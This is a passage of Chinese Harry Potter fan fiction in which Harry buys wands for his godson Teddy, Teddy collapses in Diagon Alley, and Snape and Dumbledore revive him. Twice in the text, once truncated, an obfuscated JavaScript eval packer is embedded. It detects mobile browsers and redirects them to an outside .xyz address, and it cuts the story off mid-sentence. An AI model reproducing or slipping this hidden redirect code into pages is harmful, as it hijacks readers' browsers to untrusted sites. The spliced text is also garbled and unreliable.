可是泰迪却忍不住了,“哈利你就不想和你的爸爸妈妈相认吗?”后面的那句他没敢说出口。为什么那种小孩能有父母的宠爱,自己最爱的教父却从小得不到亲人的爱。 “我无时无刻不渴望着父母能回到我身边,”哈利平静的碧眸中倒映着些许的苦涩,“可你也看到了,这里没有我的位置。” 看着泰迪沉默不语,哈利又问,“你想和莱姆斯他们相认吗?泰迪。” “可以吗?” “如果你想,我会尽一切努力帮你的。” “不,我不想。我有哈利,那就够了。”出乎意料的,泰迪坚定地摇头。“我只是——” “想和他们见面?”似乎看透了他的想法,哈利补充道。 泰迪抿着嘴,牙齿轻轻咬住自己的唇,皱皱鼻子,声音低得哈利几乎听不清,“嗯。” 哈利单手把他搂过来,爱怜地抚摸着他细软的头发,“想见自己的父母不必觉得不好意思。” 泰迪的脸红到了耳根尖。 “你以后会见到他们的,我保证。”哈利淡淡笑着,再次迈开步伐。“你不是想加入凤凰社吗,等你学会魔法,变得强大后还可以帮到他们。” “真的?”泰迪觉得自己的体内有个快乐的气球在膨胀,“也能帮到哈利?” “当然,你会是个好帮手的。”哈利憋不住又笑了。 “那我要成为最强大的巫师!” “我恐怕那有点难度……” 不管怎么说,泰迪又开心了起来,一反之前的沉默,倒是活跃了不少。 “哈利,食死徒和黑巫师都是斯莱特林出身的吗?” 哈利的脸色变了变,“这也是那个哈利跟你说的?” 泰迪耸肩,“他说斯莱特林推崇纯血血统,都不是好人。” “他倒知道得挺多的。”哈利沉思道,“我11岁时可是连有几个学院都不知道呢。” 泰迪注意到哈利不怎么好看的脸色,“他说的是真的?” “大部分是事实。”哈利淡淡地说,眼神冷峻,“不过并不完全正确。” “不要迷失在他人制造的迷雾里,泰迪。就像格兰芬多会出叛徒,斯莱特林也会有英雄。这个世界没有绝对。” 哈利碧绿的眼眸注视着他,含着不可抗拒的深意。 “我曾经经历过的事,迫使我想透了许多。尽管那些都不是愉快的经历,但至少我学会了凡事不要只看表面。所以即使我不赞同斯莱特林关于血统的想法,我会尝试去和他们沟通。” “你以前不喜欢斯莱特林?”泰迪有点难以想象。 “没错,伏地魔就是斯莱特林的,我曾经的死对头也在那里,再也没有比斯莱特林这个学院更让我不齿的了。包括斯内普,那时候也是我痛恨的对象之一。” “痛恨?”泰迪因为这个强烈的词而震动。 没有察觉泰迪的不安,哈利似乎沉浸在自己的回忆里,“是的,因为他从一开始就毫不掩饰对我的厌恶,从未停止过为难我,以及……那时我总在想,这样一个摆明是伏地魔一方的人,凭什么能够被邓布利多毫无保留地信任呢?” “可我不觉得哈利你现在讨厌西弗啊?”泰迪视线飘移不定,小声嚅嗫着,“虽然我觉得西弗的确看你不顺眼。” “哈哈,他要是哪天看我顺眼了,我可是会遗憾的。”哈利嗤笑几声,半开玩笑地说道。“事实证明,我从来没有真正了解过他的另一面,他隐藏得过于完美。虽然我并不觉得他会稀罕我的了解,我们总是带着偏见看待彼此。只是等我知道一切时,却已经太晚了。” 他的语调平静得怪异,有那么一瞬间泰迪几乎为此感到恐慌。他一把攥住哈利的袖口,他看到了痛苦的阴影。 哈利轻拍他的手。头在隐隐作痛,只要想起过去,莫名的失落感就会无可抑制地涌上来。他好像失去了什么,却老是抓不住。 “所以我觉得泰迪你在这方面很伟大。”他尽量轻松地加了句。 “我?伟大?”泰迪大声说。 哈利但笑不语。他们已经走到窄小又破旧的魔杖店门前。 暂时转移注意力的泰迪对橱窗里褪色的紫色软垫上那根孤零零的魔杖投以怀疑的目光。 “哈利,这里卖的魔杖真能用吗?” “说什么傻话,”哈利瞥了他一眼,“奥利凡德的魔杖是最优秀的。” “哦。”泰迪委委屈屈地缩了缩脖子。 他们刚跨进店里,清脆的铃声便响起了。哈利让泰迪坐在店里唯一一张椅子上等待。也许是被店里沉寂的古老气息所震住,泰迪端端正正地坐着,话都不敢多说一句,只是对着从地板到天花板堆满的那几千个狭长的纸盒直瞪眼。 “下午好。”一个柔和的声音说。哈利没什么反应,泰迪倒是吓得迅速跳离了椅子。 一位老人从容地自阴暗处走出来,他浅银色的眼睛在昏暗的角落里闪过奇异的流光。 “下午好,奥利凡德先生。”哈利有礼貌地回应,泰迪躲在他身后,也怯怯地说了声“下午好”。 “为您的孩子购买魔杖?”奥利凡德走近细细打量眼前的两位顾客。“您是?” 哈利颔首,“哈利·佩弗利尔。这是我的教子,泰迪·卢平。他需要一根魔杖。”他踌躇片刻,又补充道,“可能还需要您为我检查下我的魔杖,它最近出了点问题。” “当然,我很乐意。”奥利凡德的眼睛一眨不眨,泰迪不自觉地退了两步。 他忽然走进哈利,伸出苍白而细长的手,手指触摸哈利额上的闪电形伤疤。自从得知这里没有“大难不死的男孩”后,哈利也不必再藏起自己的伤疤,但他还是习惯性的感到不舒服 “这道伤疤,是魔杖造成的吧?”他慢声慢调地说,“不是普通的疤痕。蕴藏着极度的恶意,魔杖主人非一般的强大。是的,十三英寸半,是谁的魔杖呢……” “奥利凡德先生,我想我们是来买魔杖的。”哈利面不改色地开口,不留痕迹地拉开了彼此的距离,明确表示他不想继续这个话题。 “是的,是的。”奥利凡德缩回手,最后看了哈利一眼,转向了泰迪。“那么我们来看看,卢平先生。”他从口袋里掏出一把银色标记的卷尺,“你用哪只手拿魔杖?”“我习惯用右手。”泰迪小声回答。 奥利凡德点点头表示他知道了,一边给泰迪测量一边对自己制作魔杖的历史侃侃而谈。这些话都是哈利早就听过的,因此他百无聊赖地等在一旁打哈欠,看着奥利凡德从架子上取下一个盒子,并收起卷尺。 “先试试这根,”他打开盒子,取出一根崭新的、棕紫色的魔杖,“葡萄藤及独角兽尾毛,10英寸,灵活的组合,现在你来挥动看看。” 泰迪接过魔杖,笨拙地挥动了一下,心里沮丧为什么哈利挥起魔杖来那么帅气可自己挥舞起来却像个傻冒。 狭小的店里响起一连串的爆炸声,堆得高高的盒子都接连被震落,满地狼藉。破坏力十足,哈利感叹,看奥利凡德依然是那副老神在在的模样,显然是多灾多难惯了。可怪事发生了,本来是谁也不会注意到的,搁置在阴暗角落里的一盆即将凋零的波斯菊,却如同被施了“增长咒”,枝叶疯狂地扭曲伸展,直达到天花板才终于停止生长。 三人都愣愣地瞪着那盆变异的波斯菊,奥利凡德痴呆的模样更是显得有点可笑。“哦,梅林,”他喃喃道,“不可思议。是的,我该试试那根……”他一把夺下泰迪手中的魔杖,扎进盒堆里翻找起来,嘴里仍在絮絮叨叨,“不可思议,真不可思议……” 哈利很想问他这回又是怎么个稀奇法。泰迪代他问出口,“很抱歉,先生,哪里不可思议了?” 奥利凡德无视了他的问题,他小心翼翼地打开一个盒子,取出里面的魔杖塞到泰迪的手里,“我早该想到了,花楸木(注1)和独角兽尾毛,纯金色的幼兽尾毛!很困难,很困难。是的,十一英寸半,百年难得的组合。””泰迪的手指刚接触到这根魔杖,一股暖意流窜周身的同时,魔杖本身迸发出极强烈的白光,他尝试挥舞它,魔杖的顶端仿佛冒出一簇纯白的火焰,霎时化作一个个白色的光球在空中飘浮游荡,随之悄声无息地没入众人的体内。天啊,哈利惊讶地发现自己充满了力量。 奥利凡德简直是手舞足蹈,“果然如此!梅林,这太神奇了!”他迎向哈利及泰迪不解的目光,解释道,“以独角兽幼兽的尾毛为魔芯的魔杖,数目十分稀少,因为它在制作过程中特别容易断,难度太高了,先生们。”他仿佛惋惜地摇摇头,“而和花楸木的最佳组合,这是生命及治疗的魔杖。” “这根魔杖选择了你,卢平先生,你会成就大事的。” 泰迪眼里充满了惊喜。一旁的哈利则对这句熟悉的台词翻了个白眼,很想吐槽说他嘴里的大事一般都不会是什么好事。 “现在轮到您了,佩弗利尔先生。”奥利凡德似乎对哈利拥有的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不是坏了?” “死了。”奥利凡德深深地看着他的眼睛,再次强调,“魔杖芯死了。” 哈利困惑地蹙眉,他第一次听说魔杖芯会死这种说法。“恐怕我不明白您的意思。您是说,魔杖芯,是有生命的?”他小心翼翼地询问。 “魔杖芯是魔杖的核心,也是灵魂。失去灵性的魔杖芯,我们姑且称之为‘死’。而魔杖剩余的部分也不过是块毫无价值的死木罢了。”奥利凡德把魔杖交还给哈利,转身又扎进了盒堆里翻腾起来。哈利皱眉看着伴随自己十一年的魔杖,很显然,魔杖芯是在来到这里后才莫名其妙地“死去”的。 奥利凡德再次回来时把另一根魔杖交给哈利,“您试试这根。” 哈利暗叹,接过魔杖随手一挥,顿时冒出一股金红色的火焰,跳动的光点把整个房间照得异常明亮。他的心一沉,同样的魔杖,但这根魔杖是好的。 奥利凡德的眼神深邃莫测,而他接下来的话让哈利毛骨悚然。 “先生,我无法找出您的魔杖死去的原因。我只能猜想,也许这个世上不会允许两个同样的存在。” 哈利为泰迪及他自己的新魔杖支付了20个金加隆,奥利凡德鞠躬送他们离店,哈利猜他可能会立刻写信给邓布利多报告。他没打算去阻止奥利凡德,他并不介意邓布利多知道这件事,况且他没想过、也不觉得能把自己的身份永远隐瞒下去。只是,他已经不再是个任人宰割的孩子,他有自己的主见和计划。自从这根和伏地魔渊源深远的魔杖再次选择了他,他就下定决心——只要他还在这个时空,为了泰迪也好,为了自己还活着亲人也好,他是不会让伏地魔好过的。 太阳已低低地垂挂在西边的天空,暗示着白昼快走到了尽头。哈利和泰迪几乎是扫荡似的跑遍剩下的商店——坩埚、魔药材料、称药用的秤及一架黄铜望远镜。当哈利再次确认清单时,才惊讶地发现不知不觉间该买的都已买好了。 是时候回家了,哈利想着,把视线落到泰迪身上。泰迪正盯着某个孩子抱着的黑猫,眼底盛满渴望。于是他明白了。二十分钟后,他们走出了咿啦猫头鹰商店,泰迪爱不释手地抱着一个鸟笼——优雅的雪枭正把脑袋埋在翅膀里打盹。哈利一眼就认出了他曾经的宠物,几乎毫不犹豫的,他选择了把它送给泰迪。海德薇曾经给他童年带来希望,也许他私心里期望这次也是如此。 …… 一切发生得过于意外和突然。以至于哈利来不及做出任何反应。 事实上,这本也不是需要过度反应的事故。 一个全身严严实实裹着黑色斗篷的人,匆匆而过时把泰迪撞了个趔趄,顺带撞落了他手中的鸟笼,事情就这么简单。 哈利怒视那个甚至不肯停下来道歉的人,那人的脸被斗篷遮着,但若隐若现他好像瞥见了一张没有血色的脸。他感觉他在哪里见过。 可是突变的情况不容许他多想。 他听到什么东西轰然倒地的声音,夹杂着摔在地上的笼子中海德薇尖锐地鸣叫声、翅膀拍打声。 泰迪倒在地上,蜷缩着,双眼紧闭,他全身痉挛似地颤抖着,不过短短一瞬间,便完全静止下来,没有了声响。 好半天,哈利只能呆呆地看着这一切发生。 他的脑子停止了转动,他的心脏停止了跳动,他的血液停止了流动。 他感到世界崩塌了。 “……泰迪?”哈利陡然拔高了嗓子,双手颤抖地抱起失去知觉的那个孩子。 怀中的孩子一动也不动。 =============== 注:1.此文中泰迪的生日设为1月22日,他的生日所对照的树木是花楸树。花楸树的魔性为预言,医疗,布魔法阵及保护。 11. 该死的绿眼睛 “扑通——” 切成等长碎块的雏菊根茎迅速在水中散开。 一圈,两圈,三圈。顺时针搅拌三周后,只听到几个清脆的水泡破灭声,坩埚中浑浊的液体渐渐趋向透明。 斯内普停下搅拌,魔杖对着坩埚下的火焰轻挥,把火候调小。然后他看向墙上的挂钟,傍晚6时36分。 离下一个步骤还有整整一个小时。 斯内普吁了口气,平静的脸上没有显出任何不耐。耐心等待也是制作魔药必要的一环,而诸如种种早已深入他的骨髓,成为他生活里再寻常不过的一部分。尽管他厌恶无所事事地浪费光阴,但在魔药慢慢熬制的这段时间里他决定先去喝杯火焰威士忌,享受下难得的片刻安宁。 他走出实验室,被黄昏的暗影笼罩着的起居室显得比平日更空旷静寂。静得诡异的空气压在他身上,诺大的房间只有他的脚步声制造出振荡空气的声响。于是他意识到哪里不对劲了——往日扰他清净的噪音制造者今天难得的缺席了。他这才想起来,昨天那小鬼说过今天会和他那见鬼的教父去对角巷购物。正常来说,斯内普很高兴可以摆脱这个小鬼独处一天,可他居然因此觉得心里有点空虚。 不过也才两个星期,人的习惯真是可怕的东西。斯内普的脸上掠过一抹自嘲,给自己倒了半杯的威士忌,身体放松地斜坐在沙发上,手举着杯子慢慢地抿上一小口,闭上眼睛,仿佛沉醉在威士忌苦涩微辣的滋味里,半晌喉结才滑动一下,吞下了那口酒。 似乎自从那两个不速之客的到来,曾经如影随形伴随了斯内普十年的安宁就彻底远离他而去。这种结果当然不是他所乐见的。 梅林知道为什么他的生活要被两个从坩埚里冒出来的家伙扰乱,顺带还赔上一锅魔药。 他承认,初见那双绿眸时他心神晃荡了一下,可更多的是令人不爽至极的眼熟。 那时他还没预见到,这就是他噩梦的开始。 居然是詹姆斯·波特的儿子——或者说,未来的儿子——却又不一定是他确切的儿子,如果据他所说的那个不同的历史真实存在的话。 他早该想到了,那头乱草窝的黑发,相似的可憎面貌,平庸的名字,还有,莉莉的眼睛。 但一切又匪夷所思到让他从一开始就拒绝去想这个可能性。 时空穿越?莫名其妙的、整整穿越了十一年,还发现历史变了,简直就像天底下最荒谬的笑话。 可他笑不出来,因为他相信了这是事实。 斯内普眼睑微动,双眼睁开一条缝,幽黑的瞳孔冷冷地闪着寒光。他又给自己灌了一大口酒,嘴角挂着嘲讽的笑容。 他回想起那次的会面之后,他又被邓布利多单独叫过去了一次。 “西弗勒斯,我昨天去拜访了詹姆斯夫妇。”邓布利多单刀直入地说。 斯内普挑眉,“所以?” “长得几乎一模一样。除了……” “除了什么?” 邓布利多的口气中少见的带有迟疑,“也没什么大不了的,他戴着眼镜,额头上也没有那道伤疤。” 斯内普立刻想到那道极具标志性的闪电形伤疤,他用探询的目光注视着邓布利多,“那道伤疤有什么不对吗?” “我只是对魔法造成的伤痕有点好奇罢了。那两个孩子现在怎么样了?”邓布利多避重就轻地转移了话题。 “谁知道。”斯内普撇撇嘴,“前天就搬去波特家的古宅了,不过那个小鬼昨天倒是有来过一次。”他停顿了一下,才从喉咙里挤出下半句,“哼,来连飞路网的。” “这真是令人惊讶。”显然邓布利多没想到这点,有些惊奇地看着斯内普,可一瞬间他眼中又闪过了然。他若有所思地捋捋白胡子,陷入了沉思,“唔……” “阿不思,我希望至少我的假期能让我自由安排。”对邓布利多的态度有着不祥预感的斯内普毫不留情面地开口回绝。 “这点自然。”坐在办公桌后的老人仿佛没听到他的抱怨,双手交握,湛蓝的眸子定定地望进他眼睛深处,似乎能透视他的灵魂,让他有不顾一切使用大脑封闭术的冲动,“我只是需要你帮个小忙,西弗勒斯。” 他冷笑。“这回换成监视那两人么?” 邓布利多微不可见地蹙眉,“不是监视,是帮助他们,西弗勒斯。”他挥了挥魔杖,凭空出现的茶壶自动为他和斯内普各倒了一杯加了柠檬和蜂蜜的红茶,“我相信他们在这个时代会有诸多不便,我只是希望你能适时帮他们一把。” 斯内普接着冷笑。“这和监视有区别吗?” 邓布利多正色道,“当然是不同的。” “嗤。”斯内普对此不屑一顾,“你以为我看不出他并没有全盘托出吗?漏洞太多了,问他什么都支支吾吾,要不就是避而不谈。他甚至连在他那时代黑魔王是怎么死的都语焉不详。”他脸色变换了数次,做了个急躁又厌烦的动作,身体不自觉地前倾,碰翻了自己那杯完全没动过的红茶,“还有,一个22岁的傲罗司司长,且不说从霍格沃兹毕业后光是傲罗训练就需要三年,就算是他那骄傲自大的父亲在他这年纪也达不到这成就。难道一个初出茅庐的普通巫师就有这能力?他绝对有古怪!” “这点我知道,但并不妨碍我信任他,西弗勒斯。”邓布利多波澜不惊地回答,挥舞魔杖把在桌上蔓延的红茶清理干净,又为他倒了一杯新的,“他可能隐瞒了一些事实,只能说他也许有苦衷和顾虑,毕竟这里对他而言可以算是过去。” 斯内普犹如听到什么笑话似的别过头,然后又转回来正视邓布利多,“果然,只是因为他是你最得意的学生的儿子,就能得到你格外的宽容和信任。” “西弗勒斯,不管你相不相信,我对你的重视并不亚于他。” “你为什么不干脆把他们交回给他们自己的家人?” “显然,哈利并不希望和这里的父母相认,我想他可能担心会给他们带来困扰。” “给我带来困扰就无所谓了?”斯内普咬牙切齿,“我会注意他们的。不过别指望我会给什么好脸色。” 每次都是如此,即使他再怎么激烈地反对,到头来举白旗的还是他。这个看似慈祥的老人,牢牢地把他握在手心中。 “那就够了。”邓布利多微笑着颔首,而斯内普则很想去撕破他脸上那层微笑的面具,“其实我看那两个孩子都挺喜欢你,我相信你们能好好相处的。” 斯内普猛地一口气喝完杯子里仅剩的酒,砰地砸在桌上。 难道他会稀罕一个波特的喜欢吗?开什么玩笑。 他一个翻身站起来,径自回到实验室里。 抬头看钟,7时12分。离一个小时还有24分钟,但他可以利用这点时间准备些别的材料。 斯内普几乎是泄愤似的研磨着碗里水仙根的粉末,即使已经没什么可磨的了。 也许他只是想通过忙碌来麻痹自己的神经,因为一旦空闲下来就只会胡思乱想。这感觉比平时要强烈数倍,看来以前那小鬼的咋呼转移了他太多的注意力。 泰迪·卢平。比那个波特还令人不敢置信的,是莱姆斯·卢平,那个狼人的儿子。但他明显没有继承父亲狼人的特性,反而具有随意改变发色的能力,大概是继承自母亲。哼,他心中鄙夷,居然有人敢嫁给狼人,毫无疑问那人肯定是脑子被巴波块茎的脓水给糊住了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156349|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来,对于卢平的儿子,他应该采取和对波特的儿子一视同仁的态度。 但这小鬼打乱了他的算盘,以他那异乎寻常的亲近态度。他当教授十年,从没见过哪个学生在他冷得能杀人的瞪视下还能若无其事天天跟在他后面当小尾巴的。 斯内普曾经几乎以为这是不是波特家的新阴谋,可是看到波特一脸吃味的表情,他居然从心底冒出一股爽快感。 ——为此就值得他默许那个小鬼的行为。 然而很快,他发现了这个喜欢溜进他实验室的男孩对魔药制作兴趣十足,且极具天赋,尤其是在治疗性魔药方面。第一次,他开始正视这个男孩,撇去他是自己学生时代死对头的儿子不说,他比那些连水仙根粉末和双角兽的角的粉末都分不清的那些无能的学生有价值多了。 渐渐的,他开始有意无意地传授他一些魔药知识,后来更让他临场操作——他制作魔药的成功率以初学者而言相当的高。于是他也允许他把做成功的魔药带回去,不知道他教父是否有称赞他。不时还能看到那小鬼把不知从哪里偷出来的魔药材料带过来作为谢礼——几乎都是有着上千年历史的珍品让他呆滞了很久,不知道他教父有没有责备他。管他呢,波特的痛苦就是他愉快的根源。 说不定根本是被瞒在鼓里了,斯内普猜测。 可又于理不通,那小鬼三天两头在他耳边唠叨自己的教父有多么好,让他直想把他扔回壁炉里去。 倒是小鬼自己给出答案了——他想给自己教父一个惊喜。典型的恋父情结。 好吧,斯内普翻了个白眼,全世界就那小鬼的教父最伟大,全世界就他该做白工也没人体谅。 不过,到头来,他还是不知道那个小鬼那么喜欢亲近他的原因。他可不是他的另一个教父。 斯内普丢下手中的活,站回到坩埚前面。时间差不多了,他想,接下来是逆时针搅拌七周。 他的心情糟透了。斯内普动作机械地搅拌着。 一想起小鬼,就会无可避免地连带着想起那个人;可一想起那个人,又会无可避免地让他感到烦躁。 为什么莉莉那绿宝石般的眸子是如此赏心悦目,可一旦换到某个波特的脸上就变成蟾蜍那令人作呕的绿色呢。 蟾蜍,还是做魔药材料比较适合。 斯内普眯起眼,用镊子夹起浸在标本瓶里的绿油油、滑腻腻的蟾蜍皮,面带冷笑地直直丢进去,逆时针再搅拌一周,看着魔药的颜色在蟾蜍皮溶入的瞬间由里至外蔓延成一片紫红色——昭示着又一锅魔药的成功诞生。 完美。 魔药大师蜡黄的脸上扯出一丝满意的、姑且算是微笑的神情。 不容他透气片刻,壁炉方向忽然传来火焰轰然而起的声音,随之是爆破声。 还是来了吗? 斯内普再次看向墙壁上的挂钟,晚上8时整,天已经全黑了。 他心中冷哼,不懂礼貌的小鬼。立马决定,那小鬼今天做不出一瓶消肿剂就别想回去。 斯内普好整以暇,准备迎接小鬼喧闹的打招呼方式——其实习惯后他并不怎么讨厌。 实验室的门被粗暴地撞开,斯内普对这失礼的行为大为皱眉,那小鬼把礼仪都丢回给梅林了吗?不,或许该归咎于他那同样毫无礼貌可言的姓波特的教父。 可是映入眼帘的是个喘着粗气、脸色煞白的家伙。 竟然是那该死的蟾蜍绿! 这里可不欢迎任何一个波特,是不是该把他直接轰出去的念头还未来得及冒出来—— “斯内普,我需要你的帮助!”完全丧失冷静的、慌乱的声音让他的心一紧。“泰迪出事了!” 12. 泰迪看到了什么 “这是哪门子的新把戏?” 斯内普的脸黑得简直能滴墨汁。 他本是十分不耐地跟着哈利去起居室,并满腹抱怨,要是那小鬼只是吃坏了肚子的话,他绝对会灌上一瓶毒药的,当然,对象是那小鬼的教父。 可是,这个念头在看到平躺在沙发上的那个毫无生气的瘦小身影时立即就被抛到九霄云外。 泰迪双眼紧闭,稚气的小脸上竟泛着一层死灰色,几缕褪了色的头发无力地搭在他的额上。若不是他的胸膛还在微弱地起伏,任谁都会以为生命已经离开这孩子了。 这和昨天那个活蹦乱跳的孩子是同一个人吗? 斯内普怀疑。 “斯内普,泰迪他……忽然变成这样……一开始连呼吸都停止了……我试了好几种咒语……都没用……我不知道该怎么做……” “闭嘴,别在我耳边呱噪。” 无视哈利的焦急不安,斯内普冷冷地打断他,走上前翻开泰迪的眼睑观察瞳孔的状况,又用魔杖施展了一个哈利没见过的咒语,魔杖尖端发出一束白光,瞬间笼罩了泰迪整个身体。 很快,他对哈利抬起那燃烧着愤怒的眼睛,带着丝毫不带掩饰的狠意质问道,“到底发生了什么事?” “我……我不清楚。”哈利茫然的目光对上他,“他……只是被人撞了下……” “被人撞了下?”斯内普冷笑,“如果你的脑子还没堕落到和巨怪同一水准的话,你以为只是被人‘撞’一下就会造成魔法伤害?” “魔法伤害?” “很显然,他并没有外伤,可他体内有被某种力量入侵的痕迹。” 哈利的眼睛猛然瞪大,霎那间惊疑的表情反映在他的脸上。但他反而似是因此冷静了下来,“那你有办法治好他吗?”他直直盯着斯内普,开口问道 斯内普一声不吭地看了他半晌,忽然一个转身向壁炉走去。 “把他带到以前那个房间里。” “斯内普?!” “我去找邓布利多。”头也不回丢下这句话,斯内普的身影消失在了绿焰中。 哈利在原地呆滞了一会儿,才省起自己该做什么,把泰迪抱起来,怀中小小的身体还是柔软的,可触感却比刚刚又冷了几分——这个发现让哈利的心又抽紧了。他尽量不让自己去往坏的方面想,否则他不敢肯定自己能不能坚持到斯内普带邓布利多回来而自己还没发疯。 把泰迪安置在他们曾呆过的那个房间的床上后,哈利脱力似的一下子跪坐在床边,脸上布满了憔悴和担忧。空虚感再次向他袭来,他的身体又是一阵难受的颤抖。他低头忧心如焚地看着泰迪苍白的小脸,轻轻拨开紧贴着他额头的刘海,嘴唇凑上去亲吻他的额。然后他抬起头,痛苦地深吸一口气,双手握拳紧紧地压着自己的眼睛,用轻不可闻的声音低声说道,“他会没事的,哈利。”他声音大了点,对自己重复说,“他会没事的。” 哈利把自己移到床头的角落处,靠着墙蜷缩起身子,把脸埋在膝盖里。他久久地维持着这个姿势,时间的流逝漫长得令人难以忍受。直到他觉得自己快要迷失在这种可怕的寂静里时,房门“呀”的一声被打开,他下意识地抬头看去,最先进来的是斯内普,跟在后面的则是一脸严肃的邓布利多。 “邓布利多教授,”哈利不自觉地用上了学生时代的称呼,六神无主的他仿佛回到了需要向大人求助的时期,“泰迪他……” 邓布利多安抚性地向他点点头,转头看向仍处于昏迷状态的泰迪,“西弗勒斯已经跟我说过了,我想我得先看看泰迪的情况。” 哈利起身让出位置,站到斯内普的旁边,看着邓布利多挥动魔杖,魔杖尖发出白色亮光,在泰迪上方来回移动。片刻之后,邓布利多收回手,脸上的表情很是古怪,却久久不语,似乎陷入一种沉思中。 就在哈利快忍不住想问他检查结果的时候,邓布利多开口了,“很奇怪,没有魔法留下的痕迹。” “难道不是魔法伤害?”哈利彻底混乱了。 斯内普紧紧皱起眉头,反驳道,“可他体内明显是被某种能量入侵了。” “没错,是负面能量,极度黑暗的那种。”邓布利多的语气听上去也不怎么肯定,更多是不解,“但应该不是靠通过魔法施展出来的。”他回头看向哈利,“哈利,我需要知道当时的情况,尽可能详细的。” 哈利怔了怔,想说他管它是不是魔法伤害,他只想知道泰迪有没有得救。可他仅剩的理智让他强忍住想要大吼大叫的冲动,他僵硬地点了点头,把在对角巷发生的那一幕巨细无遗地叙述了一遍。待得他讲完,邓布利多的脸色并不见得比刚才更轻松,他问,“你说你见过撞了泰迪的那个人?” 哈利点头。“虽然只是一个照面,但我确定我在以前的时空见过他。” “想不起来他是谁吗?” 哈利垂头,“很抱歉。” “不,这不是你的错。”邓布利多摆摆手,“情况的确很可疑,但我们有充分的理由相信这应该是次‘意外’。” “意外?”斯内普不屑地从鼻孔哼了声,“难道那神秘的家伙会跟散发荷尔蒙似的到处散发负面能量攻击每个他撞到的路人吗?” “很难说,这世上未知的事物数不胜数。”邓布利多耸肩,“也许我们该问问当事人。” 哈利的眼睛亮了起来,“您有办法治好他吗?” 邓布利多取出自己的魔杖,“我可以试着把他体内的负面能量逼出来。顺利的话——”他没有接着说下去,魔杖对着泰迪一挥,一束蓝白色的光随即没入他的体内,而接下来发生的事让哈利和斯内普都瞪大了双眼——一丝丝黑烟从泰迪身体各个部分逸出,软绵绵地往四周缭绕翻滚,不一会儿就消散在空中。令哈利惊恐的是,越来越多的黑烟被“喷吐”出来,整个房间都被熏得乌烟瘴气的。整个过程大约持续了半个小时,冒出的黑烟才开始不断减少,直到房中弥漫的黑烟全部消散后,邓布利多才吐了口气,收回了魔杖。 “好了。”他语调轻松地对哈利说,“泰迪应该马上就会醒来。”果然,他话刚说完,哈利就清楚地看到泰迪的手动了一动。他立刻在床边跪下来,轻轻拿起泰迪的手,祈祷般的等待着他醒来。不多久,泰迪睁开眼睛,带着在沉睡中被惊醒的茫然,他定定地盯着哈利,“哈利?”这一声呼唤让哈利扑上去,紧紧搂住泰迪,力道大得让泰迪觉得生疼。“哦,梅林保佑。”哈利低语着。 “哈利?你怎么了?”泰迪奇怪地回拥住哈利,“哈利,我好像梦见了死神。” 哈利浑身一震,他放开泰迪,梳理他的头发,抚摸着他的脸,声音嘶哑,“那只是梦而已。现在一切都好了。”泰迪似懂非懂地点头。 “泰迪,你好。”邓布利多适时地凑近了过来。 泰迪连忙撑起自己的身子,“邓布利多……教授?” “很高兴你还记得我。”邓布利多笑眯眯地说。 “为什么您会在……西弗?”看到邓布利多身后的斯内普,泰迪的眼张得滚圆,他又向四周环视一圈,这才发觉不对头——他不在自己的房间里,“这里是……” “这里是西弗勒斯的家,哈利把你带过来的。”邓布利多淡淡地解释道,“你还记得发生了什么事吗?” 泰迪看看哈利满是担忧的神色,又看看斯内普比平时更阴沉的脸色,一脸茫然地摇了摇头。 “你在对角巷被人撞到后昏倒了。”看到泰迪脸上露出的惊讶,邓布利多补充了一句,“你对这点还有印象吗?” 泰迪皱着小脸,似乎在努力回想当时的情形,“我只记得好像有人从背后撞了我,然后是一片黑暗,其余我就不记得了。” “黑暗?” “嗯,和平常不一样,我只能看到黑暗。”泰迪很不解,但哈利他们三人更迷茫。 “和平常不一样?”三位成年人交换了一下惊异的眼色,看来事实偏离了他们的预想。 “是啊,平常都会看到很美丽的东西。”泰迪的表情仿佛他说的是理所当然的事,“只要碰一下就能看到。” 哈利张开口打算说什么,邓布利多用眼神制止住他,把手覆上泰迪的手,若有所思地问,“告诉我,泰迪你现在看到了什么?” 泰迪抬头看向邓布利多,这一幕让哈利紧张得捏了把冷汗。然而泰迪笑了。 “银色的鸟?那是凤凰吗?教授。” 三人均愕然地注视着他,良久,“真是不可思议。”邓布利多发出一声感叹。 …… “阿不思,这算什么?能看到守护神?简直是闻所未闻。”斯内普第一个开口。 后来他们又问了泰迪几句话,安置他再次睡下后,在邓布利多的提议下,三个成年人来到起居室继续刚刚的谈话。 “别急,来杯茉莉花茶怎么样?”邓布利多就像呆在自己办公室里一样悠闲地变出一套茶具,雕花的茶壶自动倾斜,倒了三杯散发着清香的茉莉花茶,三个茶杯又分别飞进了每个人的手里。“我想我不能乐观地指望你会为我们准备下午茶点心,西弗勒斯?”邓布利多戏谑地加了一句,斯内普瞪了他一眼,“我这里可不是点心店。” “好吧好吧。”邓布利多不在意地笑笑,舒适地靠着沙发背,“不管怎么说,我们能轻松点了。”剩下的两人都没有异议,既然泰迪已经清醒并安然无恙,那么的确没必要过于紧绷自己的神经。 “那么,”斯内普看向一直沉默不语的哈利,“也许你这个教父能给我们个答案?” “我不知道。”哈利面无表情地瞅了他一眼,语带讥讽地说,“他跟我说你很美丽的时候我哪里想得到是说你的牝鹿守护神?不过那倒是很好地说明了我教子的审美观很正常。” “你简直就像你父亲那样毫无教养,波特!”斯内普几乎暴跳。邓布利多赶忙打圆场,“好了好了,我想哈利也只是还没从震惊中回过神来。哈利,你心情再不好也不该这么对西弗勒斯说话。” “抱歉。”哈利低声说,层出不穷的异变让他控制不住自己的情绪。 “那么,泰迪从来没和你说过他这个能力?” “没。”哈利抿了口茶,怏怏道,“他小时候完全没这种征兆,我怀疑是来到这里后才出现这能力的。”他顿了下,双手无意识地转动杯子,“他好像说过一次他看东西的感觉有点怪,但后来没再提过,我也就没在意。” 